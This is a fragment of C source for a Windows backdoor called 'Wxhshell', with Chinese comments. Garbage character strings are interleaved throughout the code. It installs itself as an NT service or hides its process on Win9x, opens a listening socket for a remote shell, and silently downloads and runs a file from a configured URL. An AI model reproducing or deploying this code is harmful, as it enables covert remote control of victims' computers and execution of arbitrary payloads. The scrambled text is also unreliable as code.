if(!hProcess) return 0; Xj :?V; Ip}(!D| if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u@v0I$ PxENLQ3a= CloseHandle(hProcess); ^cO^3= Q`#Y_N-h+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D]nVhOg| if(hProcess==NULL) return 0; PqMU&H_ \wY? 6#; HMODULE hMod; 2+pLDIIT char procName[255]; Gq4~9Tm)* unsigned long cbNeeded; =y"
lX{}G @}&o(q1M0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >mzK96 2J;h}/!H CloseHandle(hProcess); Q/T\Rr_d Yc+0OBH[ if(strstr(procName,"services")) return 1; // 以服务启动 [([?+Ouy y>zPsc, return 0; // 注册表启动 mZ9+.lm } uVJ;1H! $Bd{Y"P@6 // 主模块 9)={p9FZY int StartWxhshell(LPSTR lpCmdLine) ^J0*]k%
{ PfTjC"`, SOCKET wsl; D0(QZrVa BOOL val=TRUE; a%Ky;ys int port=0; &f1dCL%z7 struct sockaddr_in door; E7E>w#T5 g0w<vD`<g if(wscfg.ws_autoins) Install(); $0rSb0[ W2Y%PD9a port=atoi(lpCmdLine);
:~JgB e6{}hiM if(port<=0) port=wscfg.ws_port; 1X\dH<B} ]wLHe2bEu WSADATA data; U#v??Sl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [bH5UTA %h;~@- $ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X^4HYm setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M|e
Qds door.sin_family = AF_INET; hz8Y2Ew door.sin_addr.s_addr = inet_addr("127.0.0.1"); >/;V_(
door.sin_port = htons(port); N_TWT&o4 9kj71Jp&} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l%h0x*?$ closesocket(wsl); v*}r<}j return 1; Mfjj+P } pQc5'*FKd o@[yF< if(listen(wsl,2) == INVALID_SOCKET) { ;j]0GD,c$ closesocket(wsl); X)iQ){21V return 1; r=[T5,L(s } e2|2$| Wxhshell(wsl); f1F#U@U WSACleanup(); Y*iYr2?; l v]TE" return 0; f,Vj8@p)x Tvr2K84l } {f]K3V O:'UsI1Y // 以NT服务方式启动 X
10(oT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dwOB)B@{H { &i*/}OZz DWORD status = 0; @K`2y'#b DWORD specificError = 0xfffffff; GD?4/HkF 9(k5Irv"'h serviceStatus.dwServiceType = SERVICE_WIN32; ]8*#%^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; XiE serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d0YN:lJc serviceStatus.dwWin32ExitCode = 0; ~0 <?^ serviceStatus.dwServiceSpecificExitCode = 0; `(A>7;]: serviceStatus.dwCheckPoint = 0; }
y@pAeS, serviceStatus.dwWaitHint = 0; 8"R;axeD \nM$qr'`B hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6jFc' if (hServiceStatusHandle==0) return; C*kGB(H7 &6nOCU) status = GetLastError(); zSMNk AM if (status!=NO_ERROR) Ndq|Hkd { ML?%s` serviceStatus.dwCurrentState = SERVICE_STOPPED; e
W&;r&26 serviceStatus.dwCheckPoint = 0; gZ6]\l]J{ serviceStatus.dwWaitHint = 0; uev$5jlX serviceStatus.dwWin32ExitCode = status; o9-b!I2 serviceStatus.dwServiceSpecificExitCode = specificError; HIP6L,$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); [xiZkV([ return; 0,*clvH\; } p$dVGvM( T% J;~| serviceStatus.dwCurrentState = SERVICE_RUNNING; Fi.gf?d serviceStatus.dwCheckPoint = 0; -miWXEe@l serviceStatus.dwWaitHint = 0; t3!?F(& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s"b()JP } Z_{`$nW 1qXqQA // 处理NT服务事件,比如:启动、停止 lquY_lrri VOID WINAPI NTServiceHandler(DWORD fdwControl) ^Nl)ocHv! { *het_;)+{ switch(fdwControl) qB-9&X { M^I*;{w6i case SERVICE_CONTROL_STOP: J+IQvOn_| serviceStatus.dwWin32ExitCode = 0; 46c7f*1l serviceStatus.dwCurrentState = SERVICE_STOPPED; ,@"Z!?e serviceStatus.dwCheckPoint = 0; =qH9<,p`H serviceStatus.dwWaitHint = 0; |5|^[v { L|4kv SetServiceStatus(hServiceStatusHandle, &serviceStatus); !HyPe"`oL } 6@kKr return; 4Eh 2sI case SERVICE_CONTROL_PAUSE: Srw ciF serviceStatus.dwCurrentState = SERVICE_PAUSED; N=hr%{}c break; 4/;
X- case SERVICE_CONTROL_CONTINUE: \ZiZX$ serviceStatus.dwCurrentState = SERVICE_RUNNING; `C 'WSr break; 5&]|p'"W\ case SERVICE_CONTROL_INTERROGATE: (CKx
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I@ break; 7Yp;B:5@ }; ro{q':Z3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]nE_(*w } m~Q]#r = Ly7H7Q2 // 标准应用程序主函数 kgfOH.P int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W!B4~L { J~7E8 v%c r // 获取操作系统版本 O8#}2 OsIsNt=GetOsVer(); |/K+tH GetModuleFileName(NULL,ExeFile,MAX_PATH); idiJ|2T"G <1#v}epD# // 从命令行安装 V*P3C5l if(strpbrk(lpCmdLine,"iI")) Install(); vaQZ1a, HPVW2Y0_N // 下载执行文件 o3*IfD if(wscfg.ws_downexe) { .sNUU 3xSC if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *xB9~: WinExec(wscfg.ws_filenam,SW_HIDE); ~I<yN`5(a } ]Cd1& /VB n if(!OsIsNt) { yU"lW{H@ // 如果时win9x,隐藏进程并且设置为注册表启动 weCRhA HideProc(); 3\FPW1$i|[ StartWxhshell(lpCmdLine); ^/`:o}7K7 } J5Rr7=:*S else DE3>F^ j if(StartFromService()) #W`>vd} // 以服务方式启动 !Irmc*;QE StartServiceCtrlDispatcher(DispatchTable); 9hG)9X4 else Sqj'2<~W // 普通方式启动 w$ Lpuun{ StartWxhshell(lpCmdLine); )yp+!\ ]|g{{PWH return 0; S^|Uzc }
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